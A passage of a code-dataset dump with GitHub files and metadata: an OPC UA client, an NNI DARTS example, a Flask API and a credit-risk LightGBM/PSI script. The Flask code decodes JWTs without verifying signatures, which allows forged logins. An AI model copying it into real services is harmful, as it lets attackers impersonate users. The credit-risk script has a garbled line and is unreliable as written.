== 4:\n return ua.VariantType.Float\n else:\n return None # ua.VariantType.Variant\n\n\ndef numbers_to_typestrings(arg):\n if arg == 2:\n return \"Int16\"\n elif arg == 4:\n return \"Float\"\n else:\n return None # ua.VariantType.Variant\n\n\nclass CustomClient(object):\n def __init__(self, server_endpoint, namespace, enable_cert, client_cert_path, client_key_path, auth_name=None,\n auth_password=None, debug_print=False, client_request_timeout=4):\n\n self.NAMESPACE = namespace\n self.DEBUG_MODE_PRINT = debug_print\n\n self.client = Client(server_endpoint, client_request_timeout)\n\n if auth_name is not None and auth_password is not None:\n self.client.set_user(auth_name)\n self.client.set_password(auth_password)\n if enable_cert:\n self.client.set_security_string(\"Basic256Sha256,SignAndEncrypt,\" + client_cert_path + \",\" + client_key_path)\n\n # TODO experimental( cf. client.py @line 60)\n # self.client.session_timeout = 10*1000 # 30h = 30*60*60*1000\n # self.client.secure_channel_timeout = 10*1000 # 30h\n\n self.root = None\n self.idx = None\n\n def start(self):\n try:\n self.client.connect()\n except ConnectionError as er:\n print(DateHelper.get_local_datetime(), er)\n raise\n # sys.exit(1)\n except Exception as ex:\n print(DateHelper.get_local_datetime(), ex)\n raise\n # sys.exit(1)\n\n # Now getting root variable node using its browse path\n self.root = self.client.get_root_node()\n uri = self.NAMESPACE\n self.idx = self.client.get_namespace_index(uri)\n\n def stop(self):\n try:\n self.client.disconnect()\n except Exception as ex:\n print(\"Couldn't stop OPC Client because of: \", ex)\n\n def get_server_vars(self, child):\n # TODO raise TimeOutError when called after subscription was set up, (cf. ua_client.py: send_request)\n try:\n obj = self.root.get_child([\"0:Objects\", (\"{}:\" + child).format(self.idx)])\n # print(obj.get_browse_name())\n # print(obj.get_variables())\n except BadNoMatch:\n return None\n return obj.get_variables()\n\n def create_dir_on_server(self, child):\n # get object node\n objects_node = self.client.get_objects_node()\n\n # add new folder \"child\" first\n for method in objects_node.get_methods():\n # print(method.get_browse_name().Name)\n if \"ADD_NEW_OBJECTS_FOLDER\" in method.get_browse_name().Name:\n objects_node.call_method(method, child)\n\n def register_variables_to_server(self, child, file_path):\n # get object node\n objects_node = self.client.get_objects_node()\n # get tags of variables and register them serverside in folder \"child\"\n mtagfile = open(file_path, 'r')\n tags_pf_output = format_textfile(mtagfile.readlines())\n mtagfile.close()\n\n # VARIANT A\n for method in objects_node.get_methods():\n # print(method.get_browse_name().Name)\n if \"ADD_OPC_TAG\" in method.get_browse_name().Name:\n for i in tags_pf_output:\n opctag, typ = i.split()\n opctag, typ = opctag.strip(), int(typ)\n\n # call method to register var\n objects_node.call_method(method, opctag, numbers_to_typestrings(typ), child)\n\n # VARIANT B\n # for i in tags_pf_output:\n # opctag, typ = i.split()\n # opctag, typ = opctag.strip(), int(typ)\n #\n #\n # # register vars at server\n # mvar = folder.add_variable(self.idx, opctag.strip(), ua.Variant(0, numbers_to_vartyps(typ)))\n # mvar.set_writable()\n #\n # # Test\n # # dv = DataValue()\n # # dv.Value = ua.Variant(1,numbers_to_vartyps(typ))\n # # mvar.set_value(dv)\n\n @staticmethod\n def set_vars(observed_nodes_list, ctrl_list, value_list):\n \"\"\"\n Set new value for node.\n :param observed_nodes_list: list of nodes, the client subscribed to\n :param ctrl_list: list of nodes to update\n :param value_list: list of values to assign\n \"\"\"\n i = 0\n for ctrl in ctrl_list:\n for var in observed_nodes_list:\n if var.nodeid == ctrl.nodeid:\n try:\n variant_type = var.get_data_value().Value.VariantType\n var.set_value(value_list[i], variant_type)\n break\n except Exception as ex:\n if type(ex).__name__ in TimeoutError.__name__:\n print(DateHelper.get_local_datetime(), 'TimeOutError ignored while set var in OPCClient')\n pass\n else:\n print(DateHelper.get_local_datetime(), ex)\n raise\n i += 1\n\n # region subscription\n def _subscribe(self, dir_name, sub_handler, subscription, subscription_handle, list_of_nodes_to_subscribe,\n already_subscribed_nodes, sub_interval):\n \"\"\"\n Make a subscription for list of nodes and return handle for subscription\n :param dir_name: subfolder, which contains the requested nodes\n :param sub_handler: SubHandler which will call the update_data function\n :param subscription: subscription object\n :param subscription_handle: handle can used to unsubscribe\n :param list_of_nodes_to_subscribe: list of nodes/customVars\n :param already_subscribed_nodes: list of nodes which already within subscription\n :param sub_interval: time interval the subscribed node is checked (in ms)\n\n :return subscription:\n :return subscription_handle\n :return subscribed_nodes\n \"\"\"\n if subscription is not None:\n self._unsubscribe(subscription, subscription_handle)\n already_subscribed_nodes = []\n\n all_server_nodes = self.get_server_vars(dir_name)\n\n for node in all_server_nodes:\n for var in list_of_nodes_to_subscribe:\n if node.nodeid == var.nodeid:\n already_subscribed_nodes.append(node)\n\n # make subscription\n subscription = self.client.create_subscription(sub_interval, sub_handler)\n subscription_handle = subscription.subscribe_data_change(already_subscribed_nodes)\n\n return subscription, subscription_handle, already_subscribed_nodes\n\n # will raise TimeoutError() - why? --> use self.subscription.delete() instead\n @staticmethod\n def _unsubscribe(self, subscription, subscription_handle):\n if subscription_handle is not None:\n # self.stop()\n # self.start()\n # self.subscription.delete()\n subscription.unsubscribe(subscription_handle)\n # endregion\n", "repo_name": "N5GEH/n5geh.services.grid_protection", "sub_path": "docker/cloud_setup/opc_ua/client/OPCClient.py", "file_name": "OPCClient.py", "file_ext": "py", "file_size_in_byte": 7753, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.insert", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "opcua.ua.VariantType", "line_number": 28, "usage_type": "attribute"}, {"api_name": "opcua.ua", "line_number": 28, "usage_type": "name"}, {"api_name": "opcua.ua.VariantType", "line_number": 30, "usage_type": "attribute"}, {"api_name": "opcua.ua", "line_number": 30, "usage_type": "name"}, {"api_name": "opcua.Client", "line_number": 51, "usage_type": "call"}, {"api_name": "helper.DateHelper.DateHelper.get_local_datetime", "line_number": 70, "usage_type": "call"}, {"api_name": "helper.DateHelper.DateHelper", "line_number": 70, "usage_type": "name"}, {"api_name": "helper.DateHelper.DateHelper.get_local_datetime", "line_number": 74, "usage_type": "call"}, {"api_name": "helper.DateHelper.DateHelper", "line_number": 74, "usage_type": "name"}, {"api_name": "opcua.ua.uaerrors.BadNoMatch", "line_number": 95, "usage_type": "name"}, {"api_name": "helper.DateHelper.DateHelper.get_local_datetime", "line_number": 161, "usage_type": "call"}, {"api_name": "helper.DateHelper.DateHelper", "line_number": 161, "usage_type": "name"}, {"api_name": "helper.DateHelper.DateHelper.get_local_datetime", "line_number": 164, "usage_type": "call"}, {"api_name": "helper.DateHelper.DateHelper", "line_number": 164, "usage_type": "name"}]} {"seq_id": "21006408200", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision\nimport torchvision.transforms as transforms\n\nfrom nni.nas.pytorch.mutables import LayerChoice, InputChoice\nfrom nni.algorithms.nas.pytorch.darts import DartsTrainer\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = LayerChoice([nn.Conv2d(3, 6, 3, padding=1), nn.Conv2d(3, 6, 5, padding=2)])\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = LayerChoice([nn.Conv2d(6, 16, 3, padding=1), nn.Conv2d(6, 16, 5, padding=2)])\n self.conv3 = nn.Conv2d(16, 16, 1)\n\n self.skipconnect = InputChoice(n_candidates=1)\n self.bn = nn.BatchNorm2d(16)\n\n self.gap = nn.AdaptiveAvgPool2d(4)\n self.fc1 = nn.Linear(16 * 4 * 4, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n bs = x.size(0)\n\n x = self.pool(F.relu(self.conv1(x)))\n x0 = F.relu(self.conv2(x))\n x1 = F.relu(self.conv3(x0))\n\n x0 = self.skipconnect([x0])\n if x0 is not None:\n x1 += x0\n x = self.pool(self.bn(x1))\n\n x = self.gap(x).view(bs, -1)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\ndef accuracy(output, target):\n batch_size = target.size(0)\n _, predicted = torch.max(output.data, 1)\n return {\"acc1\": (predicted == target).sum().item() / batch_size}\n\n\nif __name__ == \"__main__\":\n transform = transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n dataset_train = torchvision.datasets.CIFAR10(root=\"./data\", train=True, download=True, transform=transform)\n dataset_valid = torchvision.datasets.CIFAR10(root=\"./data\", train=False, download=True, transform=transform)\n\n net = Net()\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)\n\n trainer = DartsTrainer(net,\n loss=criterion,\n metrics=accuracy,\n optimizer=optimizer,\n num_epochs=2,\n dataset_train=dataset_train,\n dataset_valid=dataset_valid,\n batch_size=64,\n log_frequency=10)\n trainer.enable_visualization()\n trainer.train()\n trainer.export(\"checkpoint.json\")\n", "repo_name": "microsoft/nni", "sub_path": "examples/nas/legacy/oneshot/naive/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2501, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13409, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "nni.nas.pytorch.mutables.LayerChoice", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "nni.nas.pytorch.mutables.LayerChoice", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "nni.nas.pytorch.mutables.InputChoice", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.max", "line_number": 49, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 54, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 54, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 54, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 54, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 55, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 56, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 60, "usage_type": "name"}, {"api_name": "nni.algorithms.nas.pytorch.darts.DartsTrainer", "line_number": 62, "usage_type": "call"}]} {"seq_id": "42063066608", "text": "# -*- coding: utf-8 -*-\nfrom flask import abort, g, Blueprint, jsonify, make_response, request\nfrom google.auth import jwt\n\nfrom trailblazer.server.ext import store\n\nblueprint = Blueprint('api', __name__, url_prefix='/api/v1')\n\n\n@blueprint.before_request\ndef before_request():\n if request.method == 'OPTIONS':\n return make_response(jsonify(ok=True), 204)\n auth_header = request.headers.get('Authorization')\n if auth_header:\n jwt_token = auth_header.split('Bearer ')[-1]\n else:\n return abort(403, 'no JWT token found on request')\n user_data = jwt.decode(jwt_token, verify=False)\n user_obj = store.user(user_data['email'])\n if user_obj is None:\n return abort(403, f\"{user_data['email']} doesn't have access\")\n g.current_user = user_obj\n\n\n@blueprint.route('/analyses')\ndef analyses():\n \"\"\"Display analyses.\"\"\"\n per_page = int(request.args.get('per_page', 50))\n page = int(request.args.get('page', 1))\n query = store.analyses(status=request.args.get('status'),\n query=request.args.get('query'),\n is_visible=request.args.get('is_visible') == 'true' or None)\n\n query_page = query.paginate(page, per_page=per_page)\n data = []\n for analysis_obj in query_page.items:\n analysis_data = analysis_obj.to_dict()\n analysis_data['user'] = analysis_obj.user.to_dict() if analysis_obj.user else None\n analysis_data['failed_jobs'] = [job_obj.to_dict() for job_obj in analysis_obj.failed_jobs]\n data.append(analysis_data)\n\n return jsonify(analyses=data)\n\n\n@blueprint.route('/analyses/', methods=['GET', 'PUT'])\ndef analysis(analysis_id):\n \"\"\"Display a single analysis.\"\"\"\n analysis_obj = store.analysis(analysis_id)\n if analysis_obj is None:\n return abort(404)\n\n if request.method == 'PUT':\n analysis_obj.update(request.json)\n store.commit()\n\n data = analysis_obj.to_dict()\n data['failed_jobs'] = [job_obj.to_dict() for job_obj in analysis_obj.failed_jobs]\n data['user'] = analysis_obj.user.to_dict() if analysis_obj.user else None\n return jsonify(**data)\n\n\n@blueprint.route('/info')\ndef info():\n \"\"\"Display meta data about database.\"\"\"\n metadata_obj = store.info()\n return jsonify(**metadata_obj.to_dict())\n\n\n@blueprint.route('/me')\ndef me():\n \"\"\"Return information about a logged in user.\"\"\"\n return jsonify(**g.current_user.to_dict())\n\n\n@blueprint.route('/aggregate/jobs')\ndef aggregate_jobs():\n \"\"\"Return stats about jobs.\"\"\"\n data = store.aggregate_failed()\n return jsonify(jobs=data)\n", "repo_name": "emmser/trailblazer", "sub_path": "trailblazer/server/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 2612, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 18, "usage_type": "call"}, {"api_name": "google.auth.jwt.decode", "line_number": 19, "usage_type": "call"}, {"api_name": "google.auth.jwt", "line_number": 19, "usage_type": "name"}, {"api_name": "trailblazer.server.ext.store.user", "line_number": 20, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.g.current_user", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "trailblazer.server.ext.store.analyses", "line_number": 31, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 43, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store.analysis", "line_number": 49, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 54, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 54, "usage_type": "name"}, {"api_name": "trailblazer.server.ext.store.commit", "line_number": 55, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 60, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store.info", "line_number": 66, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.g.current_user.to_dict", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.g.current_user", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 73, "usage_type": "name"}, {"api_name": "trailblazer.server.ext.store.aggregate_failed", "line_number": 79, "usage_type": "call"}, {"api_name": "trailblazer.server.ext.store", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 80, "usage_type": "call"}]} {"seq_id": "73743217502", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 24 15:57:09 2019\n\n@author: zixing.mei\n\"\"\"\n\nimport lightgbm as lgb \nimport random \nimport pandas as pd \nimport numpy as np \nfrom sklearn.model_selection import train_test_split \nfrom sklearn.metrics import mean_squared_error \nfrom sklearn.linear_model import LogisticRegression \nfrom sklearn import metrics \nfrom sklearn.metrics import roc_curve \nfrom matplotlib import pyplot as plt \nimport math \n \ndf_train = data[data.obs_mth != '2018-11-30'].reset_index().copy() \ndf_test = data[data.obs_mth == '2018-11-30'].reset_index().copy() \nNUMERIC_COLS = ['person_info','finance_info','credit_info','act_info']\nfrom sklearn.preprocessing import OneHotEncoder,LabelEncoder \n \nlgb_train = lgb.Dataset(df_train[NUMERIC_COLS], \n df_train['bad_ind'], free_raw_data=False) \nparams = { \n 'num_boost_round': 50, \n 'boosting_type': 'gbdt', \n 'objective': 'binary', \n 'num_leaves': 2, \n 'metric': 'auc', \n 'max_depth':1, \n 'feature_fraction':1, \n 'bagging_fraction':1, } \nmodel = lgb.train(params,lgb_train) \nleaf = model.predict(df_train[NUMERIC_COLS],pred_leaf=True) \nlgb_enc = OneHotEncoder() \n#生成交叉特征\nlgb_enc.fit(leaf)\n#和原始特征进行合并\ndata_leaf = np.hstack((lgb_enc.transform(leaf).toarray(),df_train[NUMERIC_COLS])) \nleaf_test = model.predict(df_test[NUMERIC_COLS],pred_leaf=True) \nlgb_enc = OneHotEncoder() \nlgb_enc.fit(leaf_test) \ndata_leaf_test = np.hstack((lgb_enc.transform(leaf_test).toarray(),\n df_test[NUMERIC_COLS])) \ntrain = data_leaf.copy() \ntrain_y = df_train['bad_ind'].copy() \nval = data_leaf_test.copy() \nval_y = df_test['bad_ind'].copy() \nlgb_lm = LogisticRegression(penalty='l2',C=0.2, class_weight='balanced',solver='liblinear')\nlgb_lm.fit(train, train_y) \ny_pred_lgb_lm_train = lgb_lm.predict_proba(train)[:, 1] \nfpr_lgb_lm_train, tpr_lgb_lm_train, _ = roc_curve(train_y,y_pred_lgb_lm_train)\ny_pred_lgb_lm = lgb_lm.predict_proba(val)[:,1] \nfpr_lgb_lm,tpr_lgb_lm,_ = roc_curve(val_y,y_pred_lgb_lm) \nplt.figure(1) \nplt.plot([0, 1], [0, 1], 'k--') \nplt.plot(fpr_lgb_lm_train,tpr_lgb_lm_train,label='LGB + LR train') \nplt.plot(fpr_lgb_lm, tpr_lgb_lm, label='LGB + LR test') \nplt.xlabel('False positive rate') \nplt.ylabel('True positive rate') \nplt.title('ROC curve') \nplt.legend(loc='best') \nplt.show() \nprint('LGB+LR train ks:',abs(fpr_lgb_lm_train - tpr_lgb_lm_train).max(),\n 'LGB+LR AUC:', metrics.auc(fpr_lgb_lm_train, tpr_lgb_lm_train))\nprint('LGB+LR test ks:',abs(fpr_lgb_lm - tpr_lgb_lm).max(),\n 'LGB+LR AUC:', metrics.auc(fpr_lgb_lm, tpr_lgb_lm))\ndff_train = pd.DataFrame(train) \ndff_train.columns = [ 'ft' + str(x) for x in range(train.shape[1])] \n \ndff_val = pd.DataFrame(val) \ndff_val.columns = [ 'ft' + str(x) for x in range(val.shape[1])] \n#生成可以传入PSI的数据集 \ndef make_psi_data(dff_train): \n dftot = pd.DataFrame() \n for col in dff_train.columns: \n zero= sum(dff_train[col] == 0) \n one= sum(dff_train[col] == 1) \n ftdf = pd.DataFrame(np.array([zero,one])) \n ftdf.columns = [col] \n if len(dftot) == 0: \n dftot = ftdf.copy() \n else: \n dftot[col] = ftdf[col].copy() \n return dftot \npsi_data_train = make_psi_data(dff_train) \npsi_data_val = make_psi_data(dff_val) \ndef var_PSI(dev_data, val_data): \n dev_cnt, val_cnt = sum(dev_data), sum(val_data) \n if dev_cnt * val_cnt == 0: \n return 0 \n PSI = 0 \n for i in range(len(dev_data)): \n dev_ratio = dev_data[i] / dev_cnt \n val_ratio = val_data[i] / val_cnt + 1e-10 \n psi = (dev_ratio - val_ratio) * math.log(dev_ratio/val_ratio)\n PSI += psi \n return PSI \npsi_dct = {} \nfor col in dff_train.columns: \n psi_dct[col] = var_PSI(psi_data_train[col],psi_data_val[col]) \nf = zip(psi_dct.keys(),psi_dct.values()) \nf = sorted(f,key = lambda x:x[1],reverse = False) \npsi_df = pd.DataFrame(f) \npsi_df.columns = pd.Series(['变量名','PSI']) \nfeature_lst = list(psi_df[psi_df['PSI']5].name)\ntrain = dff_train[feature_lst2].copy() \ntrain_y = df_train['bad_ind'].copy() \nval = dff_val[feature_lst2].copy() \nval_y = df_test['bad_ind'].copy() \nlgb_lm = LogisticRegression(C = 0.3,class_weight='balanced',solver='liblinear')\nlgb_lm.fit(train, train_y) \n \ny_pred_lgb_lm_train = lgb_lm.predict_proba(train)[:, 1] \nfpr_lgb_lm_train, tpr_lgb_lm_train, _ = roc_curve(train_y, y_pred_lgb_lm_train)\n \ny_pred_lgb_lm = lgb_lm.predict_proba(val)[:, 1] \nfpr_lgb_lm, tpr_lgb_lm, _ = roc_curve(val_y, y_pred_lgb_lm) \n \nplt.figure(1) \nplt.plot([0, 1], [0, 1], 'k--') \nplt.plot(fpr_lgb_lm_train, tpr_lgb_lm_train, label='LGB + LR train') \nplt.plot(fpr_lgb_lm, tpr_lgb_lm, label='LGB + LR test') \nplt.xlabel('False positive rate') \nplt.ylabel('True positive rate') \nplt.title('ROC curve') \nplt.legend(loc='best') \nplt.show() \nprint('LGB+LR train ks:',abs(fpr_lgb_lm_train - tpr_lgb_lm_train).max(),\n 'LGB+LR AUC:', metrics.auc(fpr_lgb_lm_train, tpr_lgb_lm_train)) \nprint('LGB+LR test ks:',abs(fpr_lgb_lm - tpr_lgb_lm).max(),'LGB+LR AUC:', \n metrics.auc(fpr_lgb_lm, tpr_lgb_lm)) \n\n", "repo_name": "chenlongzhen/intelligent_risk_control", "sub_path": "智能风控（代码）/第7章/7.2.py", "file_name": "7.2.py", "file_ext": "py", "file_size_in_byte": 7526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 60, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lightgbm.Dataset", "line_number": 25, "usage_type": "call"}, {"api_name": "lightgbm.train", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 68, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 70, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 70, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 74, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "math.log", "line_number": 99, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 114, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 117, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": 